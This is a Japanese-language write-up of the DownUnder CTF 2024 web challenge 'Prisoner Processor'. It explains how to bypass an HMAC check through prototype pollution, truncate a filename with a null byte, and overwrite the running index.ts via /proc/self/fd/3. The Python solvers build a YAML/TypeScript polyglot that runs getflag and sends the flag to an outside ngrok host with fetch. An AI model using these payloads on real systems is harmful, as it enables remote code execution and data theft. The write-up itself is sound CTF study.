DownUnder CTF 2024 - Prisoner Processor
Web問題最難関だったPrisoner Processorを公式writeupをチラ見しながら解いてみました。
325pt クリア率17/1515チーム
問題設定
BunというTypescriptのフルスタックフレームワークを利用した問題。/convert-to-yaml
にデータを送ると、データをyaml形式で保存してくれる。
flag.txt
はルート権限がないと見れないが、/bin/getflag
というsetUIDされたバイナリで読み取ることができる。したがって、RCEが最終的な目標となる。
生成されるyamlファイルのファイル名を指定できるが、これがディレクトリトラバーサル可能であることを利用して、index.ts自体を書き換えたい。しかし、これにはいくつかの障壁がある。
- SHA256を利用したsignatureのチェックが行われるが、利用される鍵がわからないので、
/example
で提示された例しか送れない。
const getSignature = (data: any): string => {
const toSignArray = Object.entries(data).map(([k, v]) => `${k}=${v}`);
toSignArray.sort();
return createHmac('sha256', SECRET_KEY)
.update(toSignArray.join("&"))
.digest("hex");
};
const hasValidSignature = (data: any, signature: string): boolean => {
const signedInput = getSignature(data);
return signedInput === signature
};
const getSignedData = (data: any): any => {
const signedParams: any = {};
for (const param in data) {
if (param.startsWith(SIGNED_PREFIX)) {
const keyName = param.slice(SIGNED_PREFIX.length);
signedParams[keyName] = data[param];
}
}
return signedParams;
/* snip */
app.post('/convert-to-yaml',
/* snip */
const signedData = getSignedData(data)
const signature = body.signature;
if (!hasValidSignature(signedData, signature)) {
return c.json({ msg: "signatures do no match!" }, 400);
}
/* snip */
- ファイル名にsuffixが付くので、
index.ts
というファイル名で保存できない
const outputPrefix = z.string().parse(signedData.outputPrefix ?? "prisoner");
- パスに使えない文字列がある
const BANNED_STRINGS = [
"app", "src", ".ts", "node", "package", "bun", "home", "etc", "usr", "opt", "tmp", "index", ".sh"
];
/* snip */
const checkIfContainsBannedString = (outputFile: string): boolean => {
for (const banned of BANNED_STRINGS) {
if (outputFile.includes(banned)) {
return true
}
}
return false;
}
const convertJsonToYaml = (data: any, outputFileString: string): boolean => {
if (checkIfContainsBannedString(outputFileString)) {
return false
}
- yaml形式でしか保存できない
- ファイルを書き換えた後、再起動させる必要がある
Step 1: Signatureの回避
getSignedData
関数は、SIGNED_PREFIX = "signed."
から始まるデータのみを抽出する。
const getSignedData = (data: any): any => {
const signedParams: any = {};
for (const param in data) {
if (param.startsWith(SIGNED_PREFIX)) {
const keyName = param.slice(SIGNED_PREFIX.length);
signedParams[keyName] = data[param];
}
}
return signedParams;
};
signatureのチェックは、これによって抽出されたデータのみが利用される。outputPrefix
はsignedData
でなければならないので、outputPrefix
の値を変更するとsignatureの値が変わってしまう。
const signedData = getSignedData(data)
const signature = body.signature;
if (!hasValidSignature(signedData, signature)) {
return c.json({ msg: "signatures do no match!" }, 400);
}
const outputPrefix = z.string().parse(signedData.outputPrefix ?? "prisoner");
javascriptでは、signedData.outputPrefix
が評価される時、オブジェクトに直接結びついたプロパティが見つからない場合、signedData.__proto__.outputPrefix
を評価する(プロトタイプチェーン)。しかし、getSignature
で利用されているObject.entries
はオブジェクトに直接結びついたプロパティのみを抽出する。
const getSignature = (data: any): string => {
const toSignArray = Object.entries(data).map(([k, v]) => `${k}=${v}`);
よって、signedData.__proto__.outputPrefix
を指定すると、Object.entries
では列挙されないが、signedData.outputPrefix
には反映される、ということができる。残りのデータとして/example
によって提示されたものを利用すれば、signature
は一致するようになる。
ここまでのソルバー
import requests
URL = "http://localhost:1337/"
target_path = "IMFREE"
r = requests.get(URL + "examples")
example = r.json()['examples'][0]
json = {
"data": {
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path,
}
},
"signature": example["signature"]
}
r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
Step 2: suffixを無視する
const outputFile = `${outputPrefix}-${randomBytes(8).toString("hex")}.yaml`;
outputPrefix
以降を無視してほしいので、とりあえずヌル文字を入れてみると、無事それ以降の文字が無視されるようになった。
ここまでのソルバー
import requests
URL = "http://localhost:1337/"
target_path = "IMFREE.txt"
r = requests.get(URL + "examples")
example = r.json()['examples'][0]
json = {
"data": {
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path + b"\x00",
}
},
"signature": example["signature"]
}
r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
なんでこれでうまくいくのか?
nodejsではこのようなヌル文字を利用したファイル名はエラーとなってしまう。(実際に、nodejs由来のfs.existsSync
は、ファイルが存在しないとして、チェックをすり抜けるようになっている)
実はBunがzigというプログラミング言語で書かれており、この言語がヌル文字で文字列の終わりを検知するようになっているから発生しているバグだそうだ。PHPとかでもよく扱われていたバグ(現在は修正済み)が現代のプログラミング言語で再発するのはおもしろい。
Step 3: 利用できない文字列の回避
const BANNED_STRINGS = [
"app", "src", ".ts", "node", "package", "bun", "home", "etc", "usr", "opt", "tmp", "index", ".sh"
];
/* snip */
const checkIfContainsBannedString = (outputFile: string): boolean => {
for (const banned of BANNED_STRINGS) {
if (outputFile.includes(banned)) {
return true
}
}
return false;
}
const convertJsonToYaml = (data: any, outputFileString: string): boolean => {
if (checkIfContainsBannedString(outputFileString)) {
return false
}
実行されているindex.ts
を書き換えたいが、.ts
の拡張子や、/app
、/home
といった単語を利用することができない。
プロセスが実行時にファイルを読み込んでいるはずなので、仮想ファイルとしてシンボリックリンクが作成されていないか確認する。
bunのPIDをps
で確認し、/proc/PID/fd
を見ることで、プロセスが利用している仮想ファイルを見ることができる
bun@9feaae297e91:/app$ ps -ax
PID TTY STAT TIME COMMAND
1 ? Ss 0:00 /bin/bash /home/bun/start.sh
8 ? S 0:00 bun run start
9 ? Sl 0:00 bun run src/index.ts
409 pts/0 Ss 0:00 /bin/bash
420 pts/0 R+ 0:00 ps -ax
bun@9feaae297e91:/app$ ls -la /proc/9/fd
total 0
dr-x------ 2 bun bun 14 Jul 9 08:28 .
dr-xr-xr-x 9 bun bun 0 Jul 9 08:18 ..
lrwx------ 1 bun bun 64 Jul 9 08:28 0 -> /dev/null
l-wx------ 1 bun bun 64 Jul 9 08:28 1 -> 'pipe:[159683]'
lrwx------ 1 bun bun 64 Jul 9 08:28 10 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul 9 08:28 11 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul 9 08:28 12 -> 'anon_inode:[timerfd]'
lrwx------ 1 bun bun 64 Jul 9 08:28 13 -> 'socket:[191856]'
l-wx------ 1 bun bun 64 Jul 9 08:28 2 -> 'pipe:[159684]'
lr-x------ 1 bun bun 64 Jul 9 08:28 3 -> /app/src/index.ts
...
自分自身が作成した仮想ファイルは/proc/self/fd
で参照することに注意すると、/proc/self/fd/3
を書き換えることができそうだ。
ここまでのソルバー
import requests
URL = "http://localhost:1337/"
target_path = "../../proc/self/fd/3"
r = requests.get(URL + "examples")
print(r.text)
example = r.json()['examples'][0]
json = {
"data": {
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path + "\x00",
}
},
"signature": example["signature"]
}
r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
Step 4: yaml形式でtypescriptを書く
要するに、yamlとしてもtypescriptとしても有効なファイルを定義しなければならない。
yamlは<キー>: <値>
という行で出力される。通常は"
によって囲まれないが、一部の文字(:や`)が含まれる場合、"
で囲まれる。また、行が長すぎると、コロンの後で改行が挟まれる。
typescriptはconst a: any =
といった形で変数を定義できる。また、javascriptと同様に、`で挟むと、改行を挟んで文字列を定義できる。
以上を考慮して、次のような入力でうまく行った。
"data": {
"let a": "any=`",
"signed.name": "jeff",
"signed.animalType": "emu",
"signed.age": 12,
"signed.crime": "assault",
"signed.description": "clotheslined someone with their neck",
"signed.start": "2024-03-02T10:45:01Z",
"signed.release": "2054-03-02T10:45:01Z",
"signed.__proto__": {
"outputPrefix": "../../proc/self/fd/3\x00"
},
"`//": "",
"let b": "any=Bun.spawnSync(['getflag']).stdout.toString();",
"let c": "any=fetch('https://tchen.ngrok.pizza/?v=' + b)"
},
出力
let a: any=`
signed.name: jeff
signed.animalType: emu
signed.age: 12
signed.crime: assault
signed.description: clotheslined someone with their neck
signed.start: 2024-03-02T10:45:01Z
signed.release: 2054-03-02T10:45:01Z
signed.__proto__:
outputPrefix: "../../proc/self/fd/3\0"
"`//": ""
let b: any=Bun.spawnSync(['getflag']).stdout.toString();
let c: any=fetch('https://tchen.ngrok.pizza/?v=' + b)
ここまでのソルバー
import requests
URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"
target_path = "../../proc/self/fd/3"
r = requests.get(URL + "examples")
example = r.json()['examples'][0]
bun_obj = "{fetch(req) {return new Response(b)}}"
json = {
"data": {
"let a": "any=`",
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path + "\x00",
},
"`//": '',
"let b": "any=Bun.spawnSync(['getflag']).stdout.toString();",
"let c": f"any=fetch('{EVIL}?v=' + b)"
},
"signature": example["signature"]
}
r = requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
killコマンドでbunを終了させると、フラグの値がサーバーに返ってくる
Step 5: サーバーの再起動
#!/bin/bash
cd /app;
# Loop in case the app crashes for some reason ¯\_(ツ)_/¯
while :; do
for i in $(seq 1 5); do
bun run start;
sleep 1;
done
# Okay for some reason something really goofed up...
# Restoring from backup
cp -r /home/bun/backup/app/* /app;
done
サーバーが終了すると、このファイルによって再起動する。これを利用して、書き換えたindex.tsを実行させたい。
コードの大半がtry catch文で囲われているため、Bunのハンドラーや、honoのバリデーターでエラーをおこす必要がある。シンボリックリンクへのパスの末尾にエスケープされた文字がある場合、そのファイルを読み取ろうとするとBunがエラーを起こしてクラッシュしてくれる。(なぜ?)
したがって、以下の通りでフラグゲット
import requests
URL = "https://web-prisoner-processor-eec551182ebe712c.2024.ductf.dev/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"
target_path = "../../proc/self/fd/3"
r = requests.get(URL + "examples")
example = r.json()['examples'][0]
json = {
"data": {
"let a": "any=`",
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path + "\x00",
},
"`//": '',
"let b": "any=Bun.spawnSync(['getflag']).stdout.toString();",
"let c": f"any=fetch('{EVIL}?v=' + b)"
},
"signature": example["signature"]
}
r = requests.post(URL + "convert-to-yaml", json=json)
target_path = "../../proc/self/fd/3\\x"
json = {
"data": {
**example['data'],
"signed.__proto__": {
"outputPrefix": target_path + "\x00",
},
},
"signature": example["signature"]
}
requests.post(URL + "convert-to-yaml", json=json)
print(r.text)
感想
当日はステップ1はできていたが、ステップ2で止まってしまっていた。ヌル文字を入れることは考えたが、何故かうまくいかず(多分エスケープの仕方を間違えてたとか)、「現代の言語でこんな凡ミスするはずないか...」とあきらめてしまっていた。発想はあっただけに惜しかった。
ステップ3は、知識として汎用性がありそうなので覚えておこう。多分webだけじゃなくてmiscとかpwnとかでも使う日は来そう。/proc
の中身をよく知れるいい機会だった。
ステップ5に関しては、どうアプローチしたら知り得たのか正直まだわかっていない。多分「こうしたらクラッシュすることが多いだろう」みたいなアプローチの知識が必要なのだろうが、クラッシュさせることを前提とした作問が初めてだったので、まだ理解できてない。
まとめ
- 凡ミスには気をつけよう
-
/proc
の中身を利用することを覚えよう - クラッシュさせるためには試行錯誤しかないときもある
Discussion